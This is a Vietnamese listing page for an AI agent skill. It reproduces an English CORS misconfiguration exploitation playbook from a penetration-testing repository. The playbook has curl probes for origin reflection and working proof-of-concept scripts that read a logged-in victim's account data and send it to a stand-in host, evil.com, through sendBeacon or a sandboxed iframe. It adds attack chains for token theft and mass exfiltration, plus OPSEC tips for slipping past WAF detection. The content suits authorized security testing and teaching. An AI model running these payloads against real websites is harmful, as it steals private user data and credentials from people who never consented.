cors
Skill này làm gì
Skill này hướng dẫn agent kiểm thử quy tắc chia sẻ đa nguồn của website, gọi là CORS. Dành cho người kiểm thử bảo mật xem các website khác có thể đọc dữ liệu của người dùng hay không.
Khi nào nên dùng
- ✓Khi bạn muốn biết một website có cho phép các miền khác đọc dữ liệu người dùng đã đăng nhập không.
- ✓Khi một rà soát bảo mật cần kiểm tra header Access-Control-Allow-Origin.
- ✓Khi một API trả về dữ liệu riêng tư và bạn cần xác nhận ai được phép đọc.
Liên kết skill
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/cors/SKILL.mdSao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.
Cách dùng
Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.
Tin nhắn có sẵn để dán
Dành cho Claude Code, Codex hoặc Cursor: chạy lệnh trong thư mục dự án của bạn và skill sẽ được cài đặt.
Tải tệp SKILL.md về và thả vào thư mục skill của agent.
Ví dụ cách nhờ AI
“Bạn có thể kiểm tra xem API của tôi có cho phép các website khác đọc dữ liệu tài khoản mà lẽ ra phải giữ riêng tư không?”
5 skill mới mỗi tuần. Đọc chỉ 1 phút.
Cách hoạt động
Agent gửi yêu cầu với các header origin giả khác nhau và kiểm tra những origin nào máy chủ cho phép, đặc biệt khi thông tin xác thực cũng được cho phép.
Nội dung kỹ thuật (SKILL.md gốc)
Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.
CORS Misconfiguration Playbook
A permissive Access-Control-Allow-Origin (ACAO) becomes critical the moment it
is paired with Access-Control-Allow-Credentials: true (ACAC) — any origin the
server reflects can read authenticated responses (PII, API keys, CSRF tokens).
ACAO alone (no credentials) is usually Low unless the endpoint serves secrets to
unauthenticated requests.
1. Detection — probe origin reflection
# Reflected-origin + credentials = the critical case
for o in "https://evil.com" "null" "https://<TARGET>.evil.com" "https://evil.com.<TARGET>"; do
echo "== Origin: $o =="
curl -s -D- -o /dev/null "https://<TARGET>/api/account" -H "Origin: $o" \
| grep -i "access-control-allow-origin\|access-control-allow-credentials"
done
# Preflight behaviour (which methods/headers are allowed cross-origin)
curl -s -D- -o /dev/null -X OPTIONS "https://<TARGET>/api/account" \
-H "Origin: https://evil.com" \
-H "Access-Control-Request-Method: PUT" \
-H "Access-Control-Request-Headers: authorization" \
| grep -i "access-control-"
A response echoing Access-Control-Allow-Origin: https://evil.com and
Access-Control-Allow-Credentials: true confirms exploitable reflection.
2. Misconfiguration matrix
| Class | Server behaviour | Exploit origin |
|---|---|---|
| Origin reflection | ACAO echoes any Origin + ACAC true |
https://evil.com |
null allowed |
ACAO: null + ACAC true | sandboxed iframe / data:/file: (sends Origin: null) |
| Wildcard + creds (browser-blocked, but check tooling) | ACAO: * with secrets |
only if creds not required |
| Suffix match flaw | allows *target.com |
https://evil-target.com |
| Prefix match flaw | allows target.com* |
https://target.com.evil.com |
| Unescaped dot in regex | ^https://app.target.com$ |
https://appxtarget.com |
| Trusted subdomain + XSS | allows *.target.com |
XSS on any subdomain → same-site fetch |
| Pre-domain confusion | naive contains("target.com") |
https://target.com.evil.com, https://eviltarget.com |
3. Exploit PoC — credentialed cross-origin read
<!-- host on attacker origin; victim must be authenticated to <TARGET> -->
<script>
const url = "https://<TARGET>/api/account";
fetch(url, { credentials: "include" })
.then(r => r.text())
.then(data => navigator.sendBeacon("https://evil.com/collect", data));
</script>
For null-origin servers, deliver the same script inside a sandboxed iframe so
the browser sends Origin: null:
<iframe sandbox="allow-scripts allow-same-origin" srcdoc="
<script>fetch('https://<TARGET>/api/account',{credentials:'include'})
.then(r=>r.text()).then(d=>fetch('https://evil.com/c?d='+encodeURIComponent(d)));</script>">
</iframe>
4. Chains
- CORS → token theft → CSRF: steal the anti-CSRF token from a reflected JSON response, then forge state-changing requests that previously looked protected.
- Subdomain XSS → CORS: server trusts
*.target.com; an XSS (even DOM-only) on a forgotten subdomain runs in an allowed origin and reads the main API. - CORS → API key / PII exfil: any endpoint returning bearer tokens, account data, or internal config becomes a one-click mass-exfil primitive.
5. Tools
- Corsy — fast misconfiguration scanner (
python corsy.py -u https://<TARGET>) - CORScanner — origin-reflection + regex-flaw detection
- Burp Suite — CORS checks (active scan) + manual
Originfuzzing in Repeater
6. Detection signatures & OPSEC
| Indicator | Detection method | OPSEC note |
|---|---|---|
Repeated Origin: variants from one IP |
WAF / access-log anomaly | Throttle probes; reuse a single canary origin |
OPTIONS flood (preflight fuzzing) |
Rate-based WAF rule | Test one endpoint at a time |
| Beacon to external collector | Egress/DNS monitoring | Use an in-scope collector during authorized tests |
Decision Gate: CORS confirmed → exploitation
- ACAO reflects an attacker-controlled origin (or
null) - ACAC is
true(or the endpoint serves secrets without auth) - A sensitive response body is readable cross-origin
- PoC exfiltrates real data from an authenticated victim context
If all checked, escalate per
finding-protocol; otherwise downgrade to informational (ACAO without credentials/secrets).
Câu hỏi thường gặp
Mọi vấn đề CORS đều nghiêm trọng không?
Không phải lúc nào. Skill cho biết nó nghiêm trọng nhất khi website cũng cho phép thông tin xác thực, vì khi đó các website khác có thể đọc phản hồi của người đã đăng nhập.
Agent tìm gì trong phản hồi?
Nó xem các header Access-Control-Allow-Origin và Access-Control-Allow-Credentials mà máy chủ trả về.
Skill này có dùng được cho mọi website không?
Chỉ nên dùng trên các website mà bạn có quyền kiểm thử.
Chi tiết
Mô tả gốc của tác giả
CORS misconfiguration exploitation — reflected origin, null origin, trusted-subdomain abuse, regex-validation bypass, and credentialed cross-origin data theft.
Độ phổ biến
- Sao GitHub
- 6.5k
- Vị trí xếp hạng
- #14055
- Giấy phép
- Apache-2.0
- Cập nhật
- 1/11/2026
Bình luận
- …
Thêm skill từ kho mã này
detector-overview
6.5kGiúp agent của bạn đọc code mà một công cụ quét đã đánh dấu, rồi quyết định điểm nào là lỗ hổng bảo mật thật và điểm nào là báo động giả.
exploiter-overview
6.5kGiúp agent của bạn ghép nhiều lỗ hổng bảo mật đã xác nhận thành một chuỗi kiểm thử và kiểm tra chuỗi đó có thể gây hậu quả đến đâu.
llm-redteam-overview
6.5kGiúp agent của bạn tìm đúng hướng dẫn red-team AI cho một bài kiểm thử, bao quát 15 nhóm chiến thuật từ prompt injection đến lạm dụng mô hình.
aatmf-t01-prompt-injection
6.5kGiải thích prompt injection, khi các chỉ dẫn ẩn cố ghi đè một hệ thống AI, để chuyên gia bảo mật có thể kiểm tra lỗi này.
Skill tương tự
reverse-engineer-anything
422kGiúp agent của bạn xem bên trong các app và package đã phát hành để giải thích tính năng, so sánh phiên bản hoặc hướng dẫn dựng lại bằng công cụ REA.
1password
394kGiúp agent của bạn cài đặt CLI của 1Password, đăng nhập, và đọc hoặc đưa thông tin bí mật vào mà không in giá trị ra cuộc trò chuyện.
healthcheck
394kGiúp agent của bạn rà soát bảo mật máy tính hoặc máy chủ đang chạy OpenClaw, như SSH, tường lửa, cập nhật và sao lưu, rồi đề xuất cách sửa an toàn.